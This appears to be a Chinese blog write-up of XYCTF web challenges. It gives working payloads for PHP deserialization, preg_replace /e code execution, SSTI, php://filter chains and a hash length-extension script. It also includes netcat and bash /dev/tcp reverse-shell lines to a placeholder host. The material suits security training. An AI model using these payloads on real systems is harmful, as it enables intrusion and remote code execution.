获取中...

-

Just a minute...

ezhttp

打开是登录页面,先看源码,源码提示:

1
<!-- 为了防止忘记密码,我把它们放在某个地方了 -->

第一反应是robots.txt,进去看看。

image-20240409194805433

得到/l0g1n.txt,进入得到帐号密码:

1
2
username: XYCTF
password: @JOILha!wuigqi123$

登录后,开始正常修改http请求头,先抓个包,

1
2
3
提示:不是 yuanshen.com 来的我不要

修改:Referer: yuanshen.com
1
2
3
你用的不是XYCTF的浏览器

User-Agent: XYCTF
1
2
3
非本地用户禁止访问!

x-forwarded-for:127.0.0.1
1
2
3
xff 打咩!!!

把x-forwarded-for:127.0.0.1改成Client-ip:127.0.0.1
1
2
3
不是从 ymzx.qq.com 代理来的我不玩

via:ymzx.qq.com
1
2
3
有点饿,想吃点XYCTF的小饼干

Cookie:XYCTF
1
2
恭喜你拿到flag!
XYCTF{fefa6df3-4e5e-459c-8966-1dfad17cced4}

最终http包:

1
2
3
4
5
6
7
8
9
10
11
POST /index.php HTTP/1.1
Host: localhost:46497
User-Agent: XYCTF
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Referer: yuanshen.com
Client-ip:127.0.0.1
via:ymzx.qq.com
Cookie:XYCTF

username=XYCTF&password=%40JOILha%21wuigqi123%24

warm up

第一层是md5弱比较

1
val1=QNKCDZO&val2=QLTHNDT

第二层$md5 == md5($md5)

所以就是找自身和md5加密后都是0e开头,且后面都是纯数字的字符串

1
md5=0e215962017

第三层首先要过$XY == $XYCTF

$XYCTF = “Warm up”;给定了,但是有个extract($_GET);可以变量覆盖。所以我们只需要给XY和XYCTF传相同的值即可。然后要过md5弱比较

1
$XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")

经过查询,发现md5(“XYCTF_550102591”)是0e开头的字符串,那么直接老样子绕过即可

1
XY=QLTHNDT&XYCTF=QLTHNDT

最终payload:

1
val1=QNKCDZO&val2=QLTHNDT&md5=0e215962017&XY=QLTHNDT&XYCTF=QLTHNDT

下一关:LLeeevvveeelll222.php

首先要过

1
!preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])

a不能是数字,但是intval会返回1,了解intval函数特性可以知道:

1
成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。

那么传a[]=a

下一步执行命令:

1
echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']);

这里是preg_replace在/e模式下可以任意命令执行的特性。

补充一下preg_replace的用法:

1
2
3
4
5
6
<?php
$str = 'Visit Microsoft!';
$pattern = '/microsoft/i';
echo preg_replace($pattern, 'W3Schools', $str);
?>
输出:Visit W3Schools!

preg_replace /e 模式下的代码执行

1
2
3
4
<?
echo preg_replace("/test/e",$_GET["h"],"jutst test");
?>
第二个参数所代表的的内容将被执行

答案很明了了

1
2
3
GET:a=/test/e&b=system("cat%20/flag")&c=test

POST:a[]=a

image-20240409201508344

ezmd5

让我们上传图片并比较,结合题目名可以猜测应该是比较两个图片的md5值是否相同,用fastcoll工具生成两个相同的图片,然后上传即可。

ezMake

很若至的非预期,出题人居然这个也能忘关flag路由,访问即送flag:

1
http://localhost:39701/flag

正常做法是makefile读取文件内容,在Makefile中,你可以使用$(shell)函数来读取文件内容。

假设你的文件名为file.txt,你可以使用以下命令来读取文件内容:

1
content := $(shell cat file.txt)

上述命令将文件file.txt的内容存储在变量content中。你可以根据需要将其用于后续的操作。

如果你需要按行读取文件内容,可以使用$(shell)函数和foreach函数的结合:

1
lines := $(shell cat file.txt) $(foreach line,$(lines), \ $(info $(line)) \ )

把file.txt改成flag即可。

image-20240409202223072

ez?Make

fuzz一下,过滤了较多命令,但是nc未过滤,直接连服务器。

1
nc ip port  -e sh

image-20240409202500308

牢牢记住,逝者为大

过滤了很多命令,但反引号没过滤,可以用反引号当shell_exec()函数执行命令。

eval前面和后面都有脏数据,最简单的办法是换行和注释绕过。分别在最前和最后加上%0a、%23

这道题没过滤nc,所以照样可以让这边连我们的服务器。

因为cmd有长度限制,所以我们可以用$_GET[1]传递参数。

记得eval中的命令都必须要加分号。

最终payload:

1
?cmd=%0a`$_GET[1]`;%23&1=nc ip port  -e sh

ezPOP

链子很简单,这里不再赘述:

1
2
3
CCC-> echo $this->c;       触发AAA->__toString()
AAA->return $this->s->$p; 触发BBB->__get($name)
BBB

链子的起点是__destruct() ,而代码中有throw new Exception(“noooooob!!!”);

这里需要Fast__destruct()

1
2
3
$b[0] = $a;
$b[1] = NULL;
echo str_replace("i:1","i:0",serialize($b));

我们主要看BBB->__get() 方法

1
2
3
4
5
6
7
8
$a=$_POST['a'];
$b=$_POST; //注意这里b是一个整个post数组
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']); //这里删除了b数组里我们传入的a的值。
}
call_user_func($a,$b)($c)($d);

这里直接给答案再分析。

1
2
3
POST:a=array_pop&2[]=array_pop
c=array("system");
d="cat /flag";

array_pop() 函数删除数组中的最后一个元素。并返回最后一个元素。

第一步变成了:

1
array_pop(array("array_pop"))(array("system"))("cat /flag")

第二步变成了:

1
array_pop(array("system"))("cat /flag")

第三步变成了:

1
system("cat /flag");

最终生成payload的php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class AAA
{
public $s;
public $a;
}

class BBB
{
public $c=array("system");
public $d="cat /flag";
}

class CCC
{
public $c;
}
$a = new CCC();
$a->c = new AAA();
$a->c->s = new BBB();
$b[0] = $a;
$b[1] = NULL;
echo str_replace("i:1","i:0",serialize($b));

最终payload:

1
2
GET:?xy=a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";a:1:{i:0;s:6:"system";}s:1:"d";s:9:"cat /flag";}s:1:"a";N;}}i:0;N;}
POST:a=array_pop&2[]=array_pop

ezRCE

安洵杯2020 Web-Bash-Vino0o0o原题削弱版本。

https://xz.aliyun.com/t/8581?time__1311=n4%2BxuDgDBDyDRnzD%2FD0YoQ%2Bq7uI6aCiteD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-3

修改一下官方wp里的脚本。

安洵杯2020 Web-Bash-Vino0o0o这个题数字需要自己构造,但是这里直接给了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
n = dict()
n[0] = '0'
n[1] = '1'
n[2] = '2'
n[3] = '3'
n[4] = '4'
n[5] = '5'
n[6] = '6'
n[7] = '7'

f=''

def str_to_oct(cmd): #命令转换成八进制字符串
s = ""
for t in cmd:
o = ('%s' % (oct(ord(t))))[2:]
s+='\\'+o
return s

def build(cmd): #八进制字符串转换成字符
payload = "$0<<<$0\<\<\<\$\\\'"
s = str_to_oct(cmd).split('\\')
for _ in s[1:]:
payload+="\\\\"
for i in _:
payload+=n[int(i)]
return payload+'\\\''

payload="cat /f*"
print(build(payload))

打入payload一把嗦。

我是一个复读机

这个题原来的题目描述可没有”说英语”这三个字,真的谜语题了哈。

登录页面弱口令:

1
admin:asdqwe

ssti,过滤了大括号,但是汉字就是大括号。

image-20240409211715845

过滤了很多东西。中括号,下划线,关键函数等,这些都可以用request.args绕过

其他就是很平常的ssti注入,这里不再赘述。

1
?sentence=哈()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(221)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)哈&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__('os').popen('cat%20/flag').read()

image-20240409212001772

ezSerialize

第一层需要$this->token === $this->password;

但是这里的token是token=md5(mt_rand());

这里可以用同地址变量绕过。

1
2
3
4
5
6
7
8
<?php
class Flag {
public $token;
public $password;
}
$a = new Flag();
$a->password = &$a->token;
echo serialize($a);

这里让password的地址等于token的地址,那么当token改变的时候,我们的password就会相应地一起改变。

下一层:fpclosefpclosefpcloseffflllaaaggg.php

非常基础的反序列化,没有任何技巧,直接给链子。

1
2
3
4
5
6
$a = new E();
$a->num = new D();
$a->num->lao = new B();
$a->num->lao->luo = new A();
$a->num->lao->luo->mack = new C();
echo serialize($a);

下一层:saber_master_saber_master.php

主要是这一段:$this->adwa->crypto0 != ‘dev1l’ or $this->adwa->T1ng != ‘yuroandCMD258’

我们知道crypto0和T1ng分别在两个类中,adwa不可能既是XYCTFNO2的对象又是XYCTFNO1的对象。

但是

反序列化的本质,是我们传入的字符串,而不是题目里的,我们完全可以在XYCTFNO1类里装入crypto0和T1ng两个属性,并让adwa成为这个类的一个Object

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class XYCTFNO1
{
public $crypto0='dev1l';
public $T1ng='yuroandCMD258';
}

class XYCTFNO2
{
public $adwa;
}

class XYCTFNO3
{
public $KickyMu;
public $N1ght = "oSthing";
}

$a = new XYCTFNO3();
$a->KickyMu = new XYCTFNO2();
$a->KickyMu->adwa = new XYCTFNO1();
echo serialize($a);

最后原生类+伪协议读文件

1
echo new $_POST['X']($_POST['Y']); 

最终payload:

1
2
3
GET:?CTF=O:8:"XYCTFNO3":2:{s:7:"KickyMu";O:8:"XYCTFNO2":1:{s:4:"adwa";O:8:"XYCTFNO1":2:{s:7:"crypto0";s:5:"dev1l";s:4:"T1ng";s:13:"yuroandCMD258";}}s:5:"N1ght";s:7:"oSthing";}

POST:X=SplFileObject&Y=php://filter/read=convert.base64-encode/resource=flag.php

pharme

一眼phar反序列化。源码里提示了class.php,这里可以文件包含。

1、

1
2
3
if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'isbigvegetablechicken!');
}

主要是这段,if条件判断就是限制我们只能使用:A-Za-z _ ( ) ;

这些东西。很明显是想让我们经行无参数rce。第二个eval那里,后面加了脏数据。可以在命令的最后加上来绕过。

2、在上传页面,后端会检查我们上传的文件里是否含有__halt_compiler();

这里我们可以把我们生成的phar文件添加到压缩包里,然后把压缩包名字改成.jpg即可绕过。

3、在class.php页面的包含点,不能在开头使用phar://,这里可以用

1
compress.zlib://phar:///test.phar

4、我们无参数RCE的命令是随机根目录读文件

1
readfile(array_rand(array_flip(scandir(dirname(dirname(dirname(pos(localeconv()))))))));

5、最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class evil {
public $cmd="readfile(array_rand(array_flip(scandir(dirname(dirname(dirname(pos(localeconv()))))))));__halt_compiler();";
}
$a=new evil();

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

将生成的phar文件压缩,改名jpg后上传,然后在class.php页面包含,多刷新几次就有flag了。

连连看到底是连连什么看

源码里只看index,藏了个what’s_this.php,现在源码没用了。这个题出的是最没水平的一个题,首先题目页面的小游戏跟题目毫无关系,其次让我们下载了源码,源码为了让我们知道有这么个php文件,为何要多此一举。

然后这个what’s_this.php的题也是原题了。在hscctf2024里有,当时一个师傅是非预期,这里不再展示。

做这道题我们需要一个工具。PHP_INCLUDE_TO_SHELL_CHAR_DICT

github上有这个工具的源码。

我们需要修改脚本的这个地方为题目中的/etc/passwd

1
file_to_use = "/etc/passwd"

如果直接用这个脚本,生成的数据后方有脏数据,只能过弱比较,但是这里是强比较。

这里的思路是经过多次的base64加密和解密,扔掉后方的脏数据。由于base64加密的次数不清楚,所以我们需要手动测试。

把你需要生成的字符串多次base64编码,**每次编码记得删除后面的=**,然后解密的时候记得自己在payload后面加上相应次数的|convert.base64-decode
多次尝试,直到生成完美的字符串为止。

1
2
3
4
5
6
XYCTF->WFlDVEY=
WFlDVEY->V0ZsRFZFWQ==
V0ZsRFZFWQ->VjBac1JGWkZXUQ==
VjBac1JGWkZXUQ->VmpCYWMxSkdXa1pYVVE=
VmpCYWMxSkdXa1pYVVE->Vm1wQ1lXTXhTa2RYYTFwWVZWRQ==
Vm1wQ1lXTXhTa2RYYTFwWVZWRQ->Vm0xd1ExbFhUWGhUYTJSWVlURndXVlpXUlE=

最后经过测试,六次base64编码后得到的字符串Vm0xd1ExbFhUWGhUYTJSWVlURndXVlpXUlE可以使用。

1
python php_filter_chain_generator.py --chain Vm0xd1ExbFhUWGhUYTJSWVlURndXVlpXUlE

得到的payload我们取php://filter/$p/resource=/etc/passwd题目需要的$p的部分,并在最后加上六次的base64解密|convert.base64-decode

最终payload:

1
?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode

ezClass

还是原生类,这里需要一个类里的一个方法,我们传什么就会return什么

1
?a=ArrayIterator&aa[]=system&b=ArrayIterator&bb[]=cat /f*&c=current

ArrayIterator类里的current需要一个数组,会返回数组当前的元素。

login

有个register.php可以注册帐号,随便注册一个,随便登录,然后拿到cookie,一眼丁真是pickle反序列化,经过测试,发现过滤了R__reduce__

就换一种方式执行命令即可

1
2
3
4
5
6
import base64
a='''(S"bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'"
ios
system
.'''
print(base64.b64encode(a.encode()))

然后把payload打到cookie里,服务器开启监听反弹shell

give me flag

hash长度扩展攻击,去github上下载一个脚本,https://github.com/shellfeel/hash-ext-attack

在当前目录把脚本放进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import base64
import hashlib
import hmac
import struct
import sys
import time
import urllib.parse
import time
import requests

from common.md5_manual import md5_manual
from loguru import logger
from common.crypto_utils import CryptoUtils


class HashExtAttack:
"""
哈希长度扩展攻击,解决 hashpump 在win下使用困难的问题
目前仅支持md5,如果你对认证算法有了解可以手动改写str_add中的字符串拼接方式
"""

def __init__(self):
self.know_text = b""
self.know_text_padding = b""
self.new_text = b""
self.rand_str = b''
self.know_hash = b""
self.key_length = b''

def _padding_msg(self):
"""填充明文"""
logger.debug("填充明文")
self.know_text_padding = md5_manual.padding_str(self.know_text)
logger.debug(f"已知明文填充:{self.know_text_padding}")

def _gen_new_plain_text(self):
"""生成新明文"""
self.new_text = self.know_text_padding + self.rand_str # b'80' + 55 * b'\x00' + struct.pack("<Q", 512 + len(self.rand_str) *8)
logger.debug(f"new_text: {self.new_text}")

def split_hash(self, hash_str: bytes):
by_new = CryptoUtils.trans_str_origin2_bytes(hash_str.decode())
return struct.unpack("<IIII", by_new)

def _guess_new_hash(self) -> tuple:
"""生成新hash"""
# 第一步先生成新的字符串
# 对已知明文进行填充
self._padding_msg()
# 第二步 生成新明文
self._gen_new_plain_text()
# 第三步 生成新hash(基于已知hash进行计算)
# 3.1 hash拆分成4个分组
hash_block = self.split_hash(hash_str=self.know_hash)
md5_manual.A, md5_manual.B, md5_manual.C, md5_manual.D = hash_block
tmp_str = md5_manual.padding_str(self.new_text)
logger.debug(f"新明文填充tmp_str({len(tmp_str)}): {tmp_str}")
logger.debug(f"参与手工分块计算的byte:{tmp_str[-64:]}")
md5_manual.solve(tmp_str[-64:])
self.new_hash = md5_manual.hex_digest()

return self.new_text, self.new_hash

def run(self, know_text, know_hash, rand_str, key_len) -> tuple:
# self.know_text = input("请输入已知明文:")
self.know_text = ("*" * key_len + know_text).encode() # 密钥拼接
self.know_hash = know_hash.encode()
self.rand_str = rand_str.encode()

self._guess_new_hash()
return self.new_text[key_len:], self.new_hash

def input_run(self):
time1=int(time.time()) + 5
result=self.run("","1cbc8a45c3f0166bff9eb656bfd073c4",str(time1),43) #这里面第二个参数放flag的hash
encoded_text=urllib.parse.quote(result[0])
while(1):
re1=requests.get('http://localhost:32985/?value='+encoded_text[:encoded_text.index('171')]+'&md5='+result[1]) #改端口
print(1)
if 'yes' in re1.text:
print(re1.text)
break


hash_ext_attack = HashExtAttack()

if __name__ == '__main__':

logger.remove()
logger.add(sys.stderr, level="INFO")
hash_ext_attack.input_run()

每七八秒跑一次脚本,多跑几次就能出。

关于flag长度,推测是uuid长度+xyctf{}的长度为36+7=43

εZ?¿м@Kε¿?

1
$$(<$<)

ezLFI

通用文件包含:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-
1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|conver
t.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-
16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|conver
t.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR
|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-
16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-
156.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|conver
t.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-
decode/resource=php://temp&0=/readflag
相关文章
评论
分享
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp
  • 第四届长城杯web全题解

    WEB SQLUS 猜测账户是admin密码是任意一个字符 登录进去后头像那边,可以上传文件,但是文件名里不能有p,尝试传入.htaccess然后传入一个txt当做php执行。 在头像前端看到了上传路径 flag没有权...

    第四届长城杯web全题解
  • NepCTF2024部分web

    NepDouble代码过长这里不贴了,看到上传压缩包的第一反应是做一个链接到/flag的软连接,上传上去解压就可以看到flag了,但是这里 12if os.path.islink(new_file): return &...

    NepCTF2024部分web
  • 2024第七届巅峰极客部分wp

